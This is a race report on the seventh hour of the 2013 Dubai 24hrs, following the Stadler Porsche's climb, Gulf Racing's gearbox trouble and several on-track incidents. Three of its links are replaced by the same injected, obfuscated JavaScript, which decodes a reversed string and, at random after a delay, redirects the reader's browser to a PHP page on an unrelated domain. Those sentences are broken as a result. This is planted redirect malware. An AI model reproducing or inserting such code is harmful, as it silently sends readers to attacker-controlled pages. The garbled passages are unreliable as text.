Attempto Racing’s lightning start to the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/2013-dubai-24hrs-the-start-divebomb/” target=”_blank”>Dubai 24hrs – which also sealed them the lead into the first corner – proved that predictions for the$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/dubai-24hrs/” target=”_blank”> eighth Dubai 24hrs were going to be tricky. The team’s subsequent retirement from the event just nine laps later confirmed this.
Predicting then which of the pro teams would be leading come the seventh hour was even harder, but few would have stuck their necks out early doors and claimed that Pro-Am runners Stadler Motorsport (from 19th on the grid) would be well in the hunt for outright victory. Indeed, four of the seven hours had seen the #20 Porsche 997GT3 R at the top of the timesheets.
Magic spells and voodoo curses had little to do with the consistent running of Rolf Ineichen (SUI), Marcel Matter (SUI), Adrian Amstutz (SUI) and Marco Seefried (D) in the Stadler 997.
Having worked their way up to 16th as the first hour rolled by, due largely to good traffic management and a softly softly approach that was clearly paying dividends, the Stadler squad had claimed fourth overall and the Pro-Am lead from main rivals Dragon Racing within the next sixty minutes.
As many across the paddock had already proven though, 14 hours of racing in the dark can bring a heap of problems. The Gulf Racing Middle East Lamborghini Gallardo LP600 for instance (who had led the second hour after a well-timed driver change) soon ground to a halt with gearbox issues, a costly two hour re-build dropping them well down the order.
The polesitting #1 Team Abu Dhabi by Black Falcons Mercedes, one of seven different leaders by the time 9pm rolled around, found itself a lap down in fourth after heavy traffic at the refuelling depot (think Eppco with track-ready GT cars) held them up.
The #127 Nissan 370Z, driven this weekend by $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/nissan-gt-academy-dubai-24hrs-its-only-a-game/” target=”_blank”>Nissan GT Academy stars Lucas Ordonez (ESP), Wolfgang Reip (B), Mark Schulzhitskiy (RUS), Steve Doherty (USA) and Roman Rusinov (RUS) were wheeled back into the garage after striking a rogue wheel on-track that had fallen off the DUWO Racing BMW 1 GTR.
An on-track collision left the Racing Divas BMW 320D high and dry at turn 15. Martin Baerschmidt in the ##140 Aston Martin Vantage V8 was similarly unimpressed with the Manor MP Motorsport Dodge Viper after another coming together. More woes for the Gulf Racing squad.
